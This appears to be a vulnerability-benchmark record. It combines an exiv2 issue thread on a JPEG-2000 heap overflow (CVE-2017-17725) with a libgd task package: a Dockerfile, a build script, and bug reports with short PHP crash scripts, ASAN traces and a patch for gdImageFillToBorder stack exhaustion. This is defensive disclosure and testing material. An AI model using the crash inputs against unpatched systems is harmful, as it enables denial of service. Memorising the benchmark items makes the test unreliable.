Thanks for your report. With which version of exiv2 did you try this? The `v0.26` git tag, the head of the `0.26` branch or the head of `master` (or something else)?
---
Comment by youwei1988 on 2017-12-12 14:54:27+00:00:
@D4N Thanks for reply.
I tried both v0.26 git tag and the branch of head of master, they are both affected. I will try more versions later.
---
Comment by clanmills on 2017-12-12 16:44:42+00:00:
I'm working on 'master' and unable to reproduced this on Linux/MacOS/Cygwin. Here's my result:
```
575 rmills@rmillsmm-w7:~/gnu/github/exiv2/exiv2 $ exiv2 poc_3.tiff
Exiv2 exception in print action for file poc_3.tiff:
corrupted image metadata
576 rmills@rmillsmm-w7:~/gnu/github/exiv2/exiv2 $
```
I'm not going to close this issue as it deserves more investigation. I'm currently working on long-term maintenance of our msvc/ and autotools/ and buildserver support. I will add the file poc_3.tiff to our test suite to ensure that this issue does not regress.
May I ask you to name give the "poc" files more meaningful/unique names that we can track. For example, add the date (in iso format). poc_2018-12-12
---
Comment by youwei1988 on 2017-12-12 20:26:22+00:00:
@clanmills
Thank you very much for your testing.
I have git pull the latest version of the 'master' and still got the heap-buffer-overflow error.
Did you build exiv2 with Address Sanitizer?
Like: CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" cmake . && make
Also, I have named the poc with poc_2018-12-12_issue188.
Here is the link: https://github.com/youwei1988/poc/blob/master/exiv2/poc_2018-12-12_issue188
Note: please do not use wget to get the file from the URL directly, it will not be the one I uploaded, which will cause the result "Exiv2 exception in print action for file...". Please click the link and press the download button to get the file I submitted in the github.
For your convenience, I also uploaded the poc to https://bugzilla.redhat.com/attachment.cgi?id=1366916, which can be get directly by using wget.
Thanks again.
---
Comment by clanmills on 2017-12-12 23:02:00+00:00:
Thanks @youwei1988. I will investigate all your concerns. And thank you for using my file-date suggestion. As I said: _this issue as it deserves more investigation_ I'll build the code as you've suggested.
---
Comment by piponazo on 2017-12-14 20:39:33+00:00:
Hi, I could reproduce the issue in my Linux box:
- Xubuntu 17.04
- Gcc 7.2
I would be happy to work on this issue :)
---
Comment by clanmills on 2017-12-14 21:51:19+00:00:
@piponazo Happy to accept your offer. I wonder why you've reproduced this and I have not. Puzzling. I'm using the latest MacOS-X + clang. Ubuntu 16.04LTS + GCC 5.something.
---
Comment by piponazo on 2017-12-14 21:55:21+00:00:
Did you try to do what @youwei1988 suggested ? These are the exact steps I did to reproduce the issue:
```
rm -rf build
mkdir build && cd build
conan install ..
CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" cmake .. && make -j4
# run the command
```
---
Comment by piponazo on 2017-12-14 21:56:09+00:00:
Note that if you use **clang** instead of **gcc** you might need to use other flags. I have been a long time without playing with sanitizers.
---
Comment by piponazo on 2017-12-14 22:27:59+00:00:
I have been debugging the code and I think I have detected where is the issue.
In the file **jp2image.cpp** line 254 we are reading the Jp2BoxHeader "subBoxes". After reading some subboxes we reach a case where its lenght is **4294967293**. Then in lines 270 and 271 we hit the issue.
I am not very sure about how to fix the issue. @D4N maybe you can give me some hints about how to fix these issues since you have been fixing many of them lately ;)
---
Comment by piponazo on 2017-12-14 22:59:46+00:00:
This is the output that I get (after adding the DEBUG compiler definition: #192 ):
```
(conan) ✔ /media/linuxDev/programming/exiv2/build [bug188 L|✚ 2…1⚑ 1]
23:57 $ bin/exiv2 ../poc_2018-12-12_issue188
Exiv2::Jp2Image::readMetadata: Reading JPEG-2000 file ../poc_2018-12-12_issue188
Exiv2::Jp2Image::readMetadata: Position: 20 box type: jp2h length: 20
Exiv2::Jp2Image::readMetadata: JP2Header box found
Exiv2::Jp2Image::readMetadata: subBox = �� length = 1785737760
Exiv2::Jp2Image::readMetadata: Position: 40 box type: jp2h length: 45
Exiv2::Jp2Image::readMetadata: JP2Header box found
Exiv2::Jp2Image::readMetadata: subBox = ihdr length = 22
Exiv2::Jp2Image::readMetadata: Ihdr data found
Exiv2::Jp2Image::readMetadata: subBox = colr length = 4294967293
Exiv2::Jp2Image::readMetadata: Color data found
=================================================================
==27597==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000002d5 at pc 0x7f66b46405fc bp 0x7fffbffbfb70 sp 0x7fffbffbfb60
READ of size 1 at 0x6020000002d5 thread T0
#0 0x7f66b46405fb in Exiv2::getULong(unsigned char const*, Exiv2::ByteOrder) /media/linuxDev/programming/exiv2/src/types.cpp:246
#1 0x7f66b45c00fd in Exiv2::Jp2Image::readMetadata() /media/linuxDev/programming/exiv2/src/jp2image.cpp:276
#2 0x56233be5d018 in Action::Print::printSummary() /media/linuxDev/programming/exiv2/src/actions.cpp:288
#3 0x56233be5be10 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /media/linuxDev/programming/exiv2/src/actions.cpp:240
#4 0x56233be3bc87 in main /media/linuxDev/programming/exiv2/src/exiv2.cpp:166
#5 0x7f66b38ad1c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
#6 0x56233be3b509 in _start (/media/linuxDev/programming/exiv2/build/bin/exiv2+0x2c509)
...
```
---
Comment by D4N on 2017-12-14 23:21:11+00:00:
The problem is two-fold:
1. an integer overflows: `subBox.length` is a `uint32_t` whose largest value is 4294967295, `subBox.length` is 4294967293. So once you add more than 2 to it, the whole thing overflows, which happens in line 269 of jp2image.cpp.
2. `subBox.length` is used to create a new `DataBuf`, but due to the overflow it has only a size of 5. However the invocation in line 271 wants to extract 4 bytes from the `DataBuf` `data` at an offset of `pad` (which is `3`) so that creates an out of bounds read, which ASAN catches.
I think there are two things that should be done here:
1. make sure that the addition in line 269 does not overflow
2. verify that `subBox.length` is not out of bounds of the image file, if that makes sense (I have no clue what jpeg subboxes are)
---
Comment by clanmills on 2017-12-15 12:12:13+00:00:
I can't remember what a box is either - something in the architecture on the JPEG2000 file format.
This is very good work indeed, @D4N. Thanks you very much.
May I say something concerning 32bit vs 64bit? There's an overflow detect in tiff visitor_int.cpp about line 1523 that's based on uintptr_t. It's working OK in 64 bits, and not in 32 bits (on MSVC for sure, I haven't tested other platforms). Do you think it's possible to move the overflow detector into a utility function which we can call from different locations. By having the detector in a single function, we can "tune" it for 32/64 bit builds.
Gentlemen (@D4N and @piponazo) Thank You very much indeed for all your hard work. Believe me, it is appreciated.
---
Comment by D4N on 2017-12-15 14:06:21+00:00:
Coincidentally, I have started just started working on such an overflow detector on Wednesday. I'll make an issue/PR about it soon, since there are some details to discuss about it (especially concerning how we are going to handle failures).
---
Comment by D4N on 2018-01-05 22:48:08+00:00:
I think we can close this, or is there anything left to do?
---
Comment by youwei1988 on 2018-01-06 13:15:31+00:00:
I have tested the latest version and found this vulnerability has been fixed. Thanks for all your work.
---
Comment by ghost on 2018-02-13 08:36:16+00:00:
This has been assigned CVE-2017-17725
|
[] |
[
{
"sha": "22527f0927b687804f83f1cc1ec36e2f042c9f83",
"url": "https://github.com/Exiv2/exiv2/commit/22527f0927b687804f83f1cc1ec36e2f042c9f83"
},
{
"sha": "b9b0fd1899db2e571548d04944f22a389919a8ff",
"url": "https://github.com/a17r/exiv2/commit/b9b0fd1899db2e571548d04944f22a389919a8ff"
},
{
"sha": "138c7fa13fcc3e57e61ec32f4d3321f40a452d65",
"url": "https://github.com/a17r/exiv2/commit/138c7fa13fcc3e57e61ec32f4d3321f40a452d65"
},
{
"sha": "1c4b8b3ce636ef204c1b01add3a1631e4bdf44a2",
"url": "https://github.com/Exiv2/exiv2/commit/1c4b8b3ce636ef204c1b01add3a1631e4bdf44a2"
},
{
"sha": "51ff667ce125afdbac96fd1795a91dd1e791f746",
"url": "https://github.com/Exiv2/exiv2/commit/51ff667ce125afdbac96fd1795a91dd1e791f746"
},
{
"sha": "729a6960128d0e63633d361ff8bac7dbd6a1d664",
"url": "https://github.com/Exiv2/exiv2/commit/729a6960128d0e63633d361ff8bac7dbd6a1d664"
},
{
"sha": "7c6f59619616a01e242401cf4c8e06428539a035",
"url": "https://github.com/Exiv2/exiv2/commit/7c6f59619616a01e242401cf4c8e06428539a035"
},
{
"sha": "f7fe07a3245b2200901a463cfac138b09c6162c1",
"url": "https://github.com/Exiv2/exiv2/commit/f7fe07a3245b2200901a463cfac138b09c6162c1"
},
{
"sha": "06aa7ab69d0c4f3d14644bd84fc9d1346154430d",
"url": "https://github.com/Exiv2/exiv2/commit/06aa7ab69d0c4f3d14644bd84fc9d1346154430d"
},
{
"sha": "583e3f0b107780664cf9331f9805aa6c173e4032",
"url": "https://github.com/Exiv2/exiv2/commit/583e3f0b107780664cf9331f9805aa6c173e4032"
},
{
"sha": "f0c2d2c3f79c152512612ffa85fcb2451de9baf1",
"url": "https://github.com/Exiv2/exiv2/commit/f0c2d2c3f79c152512612ffa85fcb2451de9baf1"
},
{
"sha": "7c1c3c2050f854c27ed553a312d0e1747ea78fd0",
"url": "https://github.com/Exiv2/exiv2/commit/7c1c3c2050f854c27ed553a312d0e1747ea78fd0"
},
{
"sha": "eb191e9d60c170335266699292d360bb2fced686",
"url": "https://github.com/Exiv2/exiv2/commit/eb191e9d60c170335266699292d360bb2fced686"
},
{
"sha": "74cb5bab132ed76adf15df172c5e8b58cddaa96c",
"url": "https://github.com/Exiv2/exiv2/commit/74cb5bab132ed76adf15df172c5e8b58cddaa96c"
},
{
"sha": "6e3855aed7ba8bb4731fc4087ca7f9078b2f3d97",
"url": "https://github.com/Exiv2/exiv2/commit/6e3855aed7ba8bb4731fc4087ca7f9078b2f3d97"
},
{
"sha": "8a8f60a4e7089fe7bb597770a2daab24a3941d3e",
"url": "https://github.com/Exiv2/exiv2/commit/8a8f60a4e7089fe7bb597770a2daab24a3941d3e"
},
{
"sha": "daed0a758b62fbb40684596917f620d8073bd2a6",
"url": "https://github.com/D4N/exiv2/commit/daed0a758b62fbb40684596917f620d8073bd2a6"
},
{
"sha": "2b3e3f878b33ea0081de9545c4dcb15834197465",
"url": "https://github.com/Exiv2/exiv2/commit/2b3e3f878b33ea0081de9545c4dcb15834197465"
},
{
"sha": "c2d1614e7c1b515d7c08861d43db73ad3d0657ab",
"url": "https://github.com/Exiv2/exiv2/commit/c2d1614e7c1b515d7c08861d43db73ad3d0657ab"
},
{
"sha": "3af0d1a6b2c12b7f62a293d19bdf235db75d6b07",
"url": "https://github.com/Exiv2/exiv2/commit/3af0d1a6b2c12b7f62a293d19bdf235db75d6b07"
},
{
"sha": "6c1ba331b92c0fc07c7e6e5736cc62f1200037aa",
"url": "https://github.com/Exiv2/exiv2/commit/6c1ba331b92c0fc07c7e6e5736cc62f1200037aa"
},
{
"sha": "8a586c74bbe3fbca64e86e42a42282c73f427607",
"url": "https://github.com/Exiv2/exiv2/commit/8a586c74bbe3fbca64e86e42a42282c73f427607"
},
{
"sha": "75940da0a61a8821a0d42a2c0358b9036b6c1a45",
"url": "https://github.com/Exiv2/exiv2/commit/75940da0a61a8821a0d42a2c0358b9036b6c1a45"
},
{
"sha": "c037d7377bc7bd63acc3f240101ff44002d19027",
"url": "https://github.com/Exiv2/exiv2/commit/c037d7377bc7bd63acc3f240101ff44002d19027"
},
{
"sha": "7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5",
"url": "https://github.com/Exiv2/exiv2/commit/7f5b0778fa301b68c1c88e3820ec3afbd09dd0a5"
},
{
"sha": "1e07c98dfcbd8ac10ee02088f08235f5e1700148",
"url": "https://github.com/Exiv2/exiv2/commit/1e07c98dfcbd8ac10ee02088f08235f5e1700148"
},
{
"sha": "c90991cbdc9c170171965ea0e4bf697c22b3f1f0",
"url": "https://github.com/Exiv2/exiv2/commit/c90991cbdc9c170171965ea0e4bf697c22b3f1f0"
},
{
"sha": "751312f9aaa7b82b9e8f04326f10fc486e2c8446",
"url": "https://github.com/Exiv2/exiv2/commit/751312f9aaa7b82b9e8f04326f10fc486e2c8446"
},
{
"sha": "79d814c722a8f03931cea2b5447a7a11fe26f2c3",
"url": "https://github.com/Exiv2/exiv2/commit/79d814c722a8f03931cea2b5447a7a11fe26f2c3"
},
{
"sha": "1f1715c086d8dcdf5165b19164af9aee7aa12e98",
"url": "https://github.com/Exiv2/exiv2/commit/1f1715c086d8dcdf5165b19164af9aee7aa12e98"
},
{
"sha": "6ede8aa1975177705450abb816163f0b8d33a597",
"url": "https://github.com/D4N/exiv2/commit/6ede8aa1975177705450abb816163f0b8d33a597"
},
{
"sha": "fd3711f91b842a9f4ed6e074e97888eb75ed0aa3",
"url": "https://github.com/Exiv2/exiv2/commit/fd3711f91b842a9f4ed6e074e97888eb75ed0aa3"
},
{
"sha": "da67c16f3d8f8431ae5c732126499f74ccca6a81",
"url": "https://github.com/Exiv2/exiv2/commit/da67c16f3d8f8431ae5c732126499f74ccca6a81"
},
{
"sha": "d4e4288d839d0d9546a05986771f8738c382060c",
"url": "https://github.com/Exiv2/exiv2/commit/d4e4288d839d0d9546a05986771f8738c382060c"
},
{
"sha": "c2c9fab580f8d6ea237718ad63921cde1d8980f7",
"url": "https://github.com/Exiv2/exiv2/commit/c2c9fab580f8d6ea237718ad63921cde1d8980f7"
},
{
"sha": "c9aed4c0b3e9e33f4a771e416dca3917b3e2db6d",
"url": "https://github.com/D4N/exiv2/commit/c9aed4c0b3e9e33f4a771e416dca3917b3e2db6d"
},
{
"sha": "25bdf6e33a1aff75962c2c3460bf6e5a1d81ed0d",
"url": "https://github.com/D4N/exiv2/commit/25bdf6e33a1aff75962c2c3460bf6e5a1d81ed0d"
},
{
"sha": "ff18fec24b119579df26fd2ebb8bb012cde102ce",
"url": "https://github.com/Exiv2/exiv2/commit/ff18fec24b119579df26fd2ebb8bb012cde102ce"
},
{
"sha": "c884a3b4bf538d872b6cc64590bd5aec90f85ad3",
"url": "https://github.com/Exiv2/exiv2/commit/c884a3b4bf538d872b6cc64590bd5aec90f85ad3"
},
{
"sha": "49bfe84b4b7277cc425572fb68db23c8820181c1",
"url": "https://github.com/D4N/exiv2/commit/49bfe84b4b7277cc425572fb68db23c8820181c1"
},
{
"sha": "f522cbf46021f3785d741cd3a048627b7e142478",
"url": "https://github.com/D4N/exiv2/commit/f522cbf46021f3785d741cd3a048627b7e142478"
},
{
"sha": "81b6d36c90ed36a1c878171f0794f632f2ee5a78",
"url": "https://github.com/Exiv2/exiv2/commit/81b6d36c90ed36a1c878171f0794f632f2ee5a78"
},
{
"sha": "505e2417e408abaf8f9fe9e5076f567a65cc59c3",
"url": "https://github.com/Exiv2/exiv2/commit/505e2417e408abaf8f9fe9e5076f567a65cc59c3"
},
{
"sha": "ce516eddefbebd31749b361a540832f41f9fe5d0",
"url": "https://github.com/Exiv2/exiv2/commit/ce516eddefbebd31749b361a540832f41f9fe5d0"
},
{
"sha": "f751fd82d37dbf9a90d13a5cd8f69273a361222c",
"url": "https://github.com/D4N/exiv2/commit/f751fd82d37dbf9a90d13a5cd8f69273a361222c"
},
{
"sha": "37f30b007829c6a3ea668ca8b53d7c31f3fe4591",
"url": "https://github.com/D4N/exiv2/commit/37f30b007829c6a3ea668ca8b53d7c31f3fe4591"
},
{
"sha": "ab7ae75b03de247e4c7d820676d24efad37d86ae",
"url": "https://github.com/D4N/exiv2/commit/ab7ae75b03de247e4c7d820676d24efad37d86ae"
},
{
"sha": "35b3e596edacd2437c2c5d3dd2b5c9502626163d",
"url": "https://github.com/Exiv2/exiv2/commit/35b3e596edacd2437c2c5d3dd2b5c9502626163d"
},
{
"sha": "a93cb0436148363bd1ef7797a690644fea3c0dfe",
"url": "https://github.com/Exiv2/exiv2/commit/a93cb0436148363bd1ef7797a690644fea3c0dfe"
},
{
"sha": "838dee762254bb6258f371aec9bc269edf1081ae",
"url": "https://github.com/Exiv2/exiv2/commit/838dee762254bb6258f371aec9bc269edf1081ae"
},
{
"sha": "00f32316b2aa9664194fbc4fae11ee54808ebcf6",
"url": "https://github.com/Exiv2/exiv2/commit/00f32316b2aa9664194fbc4fae11ee54808ebcf6"
},
{
"sha": "0f832ace7216771624cceaa358c28e7feb02bd73",
"url": "https://github.com/D4N/exiv2/commit/0f832ace7216771624cceaa358c28e7feb02bd73"
},
{
"sha": "c797c2a765b3f22d4c6eeeb26ae7e4d32d7bfc9c",
"url": "https://github.com/D4N/exiv2/commit/c797c2a765b3f22d4c6eeeb26ae7e4d32d7bfc9c"
},
{
"sha": "3214aaeec98e9a7809ae7ae4af7b27cd3d954baa",
"url": "https://github.com/D4N/exiv2/commit/3214aaeec98e9a7809ae7ae4af7b27cd3d954baa"
},
{
"sha": "fcb42570519f8cf924b0302b09062a60aa565fbe",
"url": "https://github.com/Exiv2/exiv2/commit/fcb42570519f8cf924b0302b09062a60aa565fbe"
},
{
"sha": "ce4f575e106697c0e513091e95a7cd12ed6a488b",
"url": "https://github.com/a17r/exiv2/commit/ce4f575e106697c0e513091e95a7cd12ed6a488b"
},
{
"sha": "207611b0883b74873bc2f649403d41df818e0a58",
"url": "https://github.com/a17r/exiv2/commit/207611b0883b74873bc2f649403d41df818e0a58"
},
{
"sha": "72de0f96f35d05ba68b28f4fa82f51a1df2778ca",
"url": "https://github.com/Exiv2/exiv2/commit/72de0f96f35d05ba68b28f4fa82f51a1df2778ca"
},
{
"sha": "109d5df7abd329f141b500c92a00178d35a6bef3",
"url": "https://github.com/Exiv2/exiv2/commit/109d5df7abd329f141b500c92a00178d35a6bef3"
},
{
"sha": "bff3311e31585392762306410b30903fbebb439b",
"url": "https://github.com/Exiv2/exiv2/commit/bff3311e31585392762306410b30903fbebb439b"
},
{
"sha": "df0479ab55d4c461378ed7d9f092c6b16e35de37",
"url": "https://github.com/Exiv2/exiv2/commit/df0479ab55d4c461378ed7d9f092c6b16e35de37"
},
{
"sha": "97d7a04ea86d86b82e028b63bbe8aacef7b63a4f",
"url": "https://github.com/Exiv2/exiv2/commit/97d7a04ea86d86b82e028b63bbe8aacef7b63a4f"
},
{
"sha": "c415e7f50970cf34c0848d26fb3a708ab2c7c0bc",
"url": "https://github.com/Exiv2/exiv2/commit/c415e7f50970cf34c0848d26fb3a708ab2c7c0bc"
},
{
"sha": "aa6374b202bc5b2fbf67c3dded844d994d27246d",
"url": "https://github.com/Exiv2/exiv2/commit/aa6374b202bc5b2fbf67c3dded844d994d27246d"
},
{
"sha": "93e603e031ea56fad5f417552972cb64a5e3927d",
"url": "https://github.com/Exiv2/exiv2/commit/93e603e031ea56fad5f417552972cb64a5e3927d"
},
{
"sha": "6be5278dd2d1754d72f2554e672fefab998cffe6",
"url": "https://github.com/Exiv2/exiv2/commit/6be5278dd2d1754d72f2554e672fefab998cffe6"
},
{
"sha": "35c3e3195802342f2e94ba801427c27ba0ba6e5b",
"url": "https://github.com/Exiv2/exiv2/commit/35c3e3195802342f2e94ba801427c27ba0ba6e5b"
},
{
"sha": "87e5ee6503f084b4bd9c8e1b1311a76655c2685e",
"url": "https://github.com/Exiv2/exiv2/commit/87e5ee6503f084b4bd9c8e1b1311a76655c2685e"
},
{
"sha": "8a1e949bff482f74599f60b8ab518442036b1834",
"url": "https://github.com/Exiv2/exiv2/commit/8a1e949bff482f74599f60b8ab518442036b1834"
},
{
"sha": "d9294ebe3807fec19e84deb7af68862a5551d56d",
"url": "https://github.com/Exiv2/exiv2/commit/d9294ebe3807fec19e84deb7af68862a5551d56d"
},
{
"sha": "74cb5bab",
"url": "https://github.com/Exiv2/exiv2/commit/74cb5bab"
},
{
"sha": "72b75ddfe42fa733d9afca740eb1286f7881ad00",
"url": "https://github.com/Exiv2/exiv2/commit/72b75ddfe42fa733d9afca740eb1286f7881ad00"
}
] |
libgd.cve-2016-9933
|
libgd/libgd
|
73f4e0339abda6514600c0c6a633ad8c49005437
| 2016-06-03T19:11:23
|
libgd
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config libz-dev
RUN apt-get install -y make autoconf automake libtool pkg-config libz-dev
RUN git clone https://github.com/libgd/libgd libgd
RUN git -C libgd checkout 73f4e0339abda6514600c0c6a633ad8c49005437
WORKDIR $SRC/libgd
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap.sh
./configure --prefix="$WORK" --disable-shared
make -j$(nproc) install
|
/src/libgd
|
address
|
================= Bug Report (1/2) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72696
## Description:
Description:
------------
Description:
------------
Invalid color causes stack exhaustion by recursive call to function gdImageFillToBorder when the image used is truecolor. This was tested on a 64 bits platform.
This is not the same as bug #72350 but they are related.
GDB output
----------
gdb -q --args /home/operac/php-70-sinasan/sapi/cli/php -n poc.php
Reading symbols from /home/operac/php-70-sinasan/sapi/cli/php...done.
(gdb) b gd.c:1851
Breakpoint 1 at 0x54a354: gd.c:1851. (2 locations)
(gdb) b gd.c:1834
Breakpoint 2 at 0x54a287: gd.c:1834. (2 locations)
(gdb) r
Starting program: /home/operac/php-70-sinasan/sapi/cli/php -n poc.php
Breakpoint 1, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=0, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1851
1851 gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) c
Continuing.
Breakpoint 2, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=1, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1834
1834 gdImageFillToBorder(im, i, y - 1, border, color);
(gdb) c
Continuing.
Breakpoint 1, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=0, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1851
1851 gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) c
Continuing.
Breakpoint 2, php_gd_gdImageFillToBorder (im=0x7ffff2c77000, x=0, y=1, border=1, color=-2) at /home/operac/php-70-sinasan/ext/gd/libgd/gd.c:1834
1834 gdImageFillToBorder(im, i, y - 1, border, color);
(gdb) p/x color
$1 = 0xfffffffe
Test script:
---------------
<?php
$imgs = imagecreatetruecolor(10, 10);
imagefilltoborder($imgs, 0, 0, 1, 9223372036854775806);
Expected result:
----------------
No crash
Actual result:
--------------
operac@hp2:~/crashes/067b65f5-filltoborder$ sh run.sh
ASAN:SIGSEGV
=================================================================
==5658==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd7b0bdf98 (pc 0x000000991208 bp 0x7ffd7b0be0e0 sp 0x7ffd7b0bdf98 T0)
#0 0x991207 in php_gd_gdImageSetPixel /home/operac/php-70/ext/gd/libgd/gd.c:728
#1 0x99cb00 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1810
#2 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
#3 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
#4 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
#5 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
#6 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
#7 0x99dbfa in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1851
#8 0x99d752 in php_gd_gdImageFillToBorder /home/operac/php-70/ext/gd/libgd/gd.c:1834
================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/libgd/libgd/issues/215
## Description:
Issue: libgd/libgd#215
Title: gdImageFillToBorder stack-overflow when invalid color is used
State: closed
Created by: fmunozs
Created at: 2016-05-25 11:11:05+00:00
Labels: bug
Issue Body:
Invalid color causes stack exhaustion by recursive call to function gdImageFillToBorder when the image used is not truecolor.
Source code:
https://github.com/php/php-src/blob/master/ext/gd/libgd/gd.c#L1811
```
if (y > 0) {
lastBorder = 1;
for (i = leftLimit; i <= rightLimit; i++) {
int c = gdImageGetPixel(im, i, y - 1);
if (lastBorder) {
if ((c != border) && (c != color)) {
gdImageFillToBorder(im, i, y - 1, border, color);
lastBorder = 0;
}
} else if ((c == border) || (c == color)) {
lastBorder = 1;
}
}
}
/* Below */
if (y < ((im->sy) - 1)) {
lastBorder = 1;
for (i = leftLimit; i <= rightLimit; i++) {
int c = gdImageGetPixel(im, i, y + 1);
if (lastBorder) {
if ((c != border) && (c != color)) {
gdImageFillToBorder(im, i, y + 1, border, color);
lastBorder = 0;
}
} else if ((c == border) || (c == color)) {
lastBorder = 1;
}
}
}
im->alphaBlendingFlag = restoreAlphaBlending;
```
---
```
gdb -q --args /home/user/php-7.0/sapi/cli/php -n poc.php
Reading symbols from /home/user/php-7.0/sapi/cli/php...done.
(gdb) b gd.c:1811
Breakpoint 1 at 0x8176146: file /home/user/php-7.0/ext/gd/libgd/gd.c, line 1811.
(gdb) b gd.c:1829
Breakpoint 2 at 0x81761f2: file /home/user/php-7.0/ext/gd/libgd/gd.c, line 1829.
(gdb) r
Starting program: /home/user/php-7.0/sapi/cli/php -n poc.php
Breakpoint 2, php_gd_gdImageFillToBorder (im=0xf5a6c000, x=0, y=0, border=1, color=313) at /home/user/php-7.0/ext/gd/libgd/gd.c:1829
1829 gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) p c
$1 = 0
(gdb) c
Continuing.
Breakpoint 1, php_gd_gdImageFillToBorder (im=0xf5a6c000, x=0, y=1, border=1, color=313) at /home/user/php-7.0/ext/gd/libgd/gd.c:1811
1811 if ((c != border) && (c != color)) {
(gdb) p c
$2 = 57 (different of color 313)
(gdb) c
Continuing.
Breakpoint 2, php_gd_gdImageFillToBorder (im=0xf5a6c000, x=0, y=0, border=1, color=313) at /home/user/php-7.0/ext/gd/libgd/gd.c:1829
1829 gdImageFillToBorder(im, i, y + 1, border, color);
(gdb) p c
$3 = 57 (different of color 313)
(gdb) c
Continuing.
Breakpoint 1, php_gd_gdImageFillToBorder (im=0xf5a6c000, x=0, y=1, border=1, color=313) at /home/user/php-7.0/ext/gd/libgd/gd.c:1811
1811 if ((c != border) && (c != color)) {
(gdb) p c
$4 = 57 (different of color 313)
```
## Test script:
```
<?php
$img = imagecreate(10, 10);
imagefilltoborder($img, 0, 0, 1, 0x139);
```
## Expected result:
No crash
## Actual result:
```
user@Xenial32-2:~/crashes/fillborder$ /ramdisk/php-71/sapi/cli/php -n poc.php
ASAN:SIGSEGV
=================================================================
==5027==ERROR: AddressSanitizer: stack-overflow on address 0xff276ff0 (pc 0x085ee3f8 bp 0x1e4cdb90 sp 0xff276ff0 T0)
#0 0x85ee3f7 in php_gd_gdImageSetPixel /home/user/php-7.1asan/ext/gd/libgd/gd.c:755
#1 0xf266bfff (<unknown module>)
SUMMARY: AddressSanitizer: stack-overflow /home/user/php-7.1asan/ext/gd/libgd/gd.c:755 php_gd_gdImageSetPixel
==5027==ABORTING
user@Xenial32-2:~/crashes/fillborder$ /ramdisk/php-71/sapi/cli/php -n poc.php
ASAN:SIGSEGV
=================================================================
==5771==ERROR: AddressSanitizer: stack-overflow on address 0xff758ff4 (pc 0x085ebfcf bp 0xfffffffc sp 0xff758ff0 T0)
#0 0x85ebfce in gdImageTileApply /home/user/php-7.1asan/ext/gd/libgd/gd.c:869
#1 0x85ebfce in php_gd_gdImageSetPixel /home/user/php-7.1asan/ext/gd/libgd/gd.c:749
#2 0x85f7eae in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1788
#3 0x85f8f32 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1829
#4 0x85f8e04 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1812
#5 0x85f8f32 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1829
#6 0x85f8e04 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1812
#7 0x85f8f32 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1829
#8 0x85f8e04 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1812
#9 0x85f8f32 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1829
#10 0x85f8e04 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1812
#11 0x85f8f32 in php_gd_gdImageFillToBorder /home/user/php-7.1asan/ext/gd/libgd/gd.c:1829
```
Comments:
Comment by vapier on 2016-05-25 14:08:32+00:00:
seems related to the fix for issue #213. we silently clip the coordinates to the limits of the image now.
---
Comment by fmunozs on 2016-05-25 14:27:03+00:00:
I'm not sure If its the same issue, since I identified it on the libgd version included with php, that fixed #213 first. Also note that I'm no using big numbers on parameters. According to my testing there is no stackoverflow If I use imagecreatetruecolor.
---
Comment by vapier on 2016-05-25 15:29:56+00:00:
i'm not saying it's the same issue, just somewhat related
---
Comment by fmunozs on 2016-05-25 23:10:01+00:00:
Ok, sorry for the noise then :) language barrier. How does this patch look to you?
```
--- a/ext/gd/libgd/gd.c
+++ b/ext/gd/libgd/gd.c
@@ -1770,6 +1770,8 @@ void gdImageFillToBorder (gdImagePtr im
restoreAlphaBlending = im->alphaBlendingFlag;
im->alphaBlendingFlag = 0;
+ if (!im->trueColor) color &= 0xff;
+
if (x >= im->sx) {
x = im->sx - 1;
} else if (x < 0) {
```
It's for php's libgd though.
---
Comment by vapier on 2016-05-26 04:38:29+00:00:
that will make it work in the non-truecolor mode, but i think truecolor still has issues. when you factor in the different effect modes (alpha-blending, overlays, multiply), doing a set+get on a pixel might not return the exact same value you put in (`color` in this case).
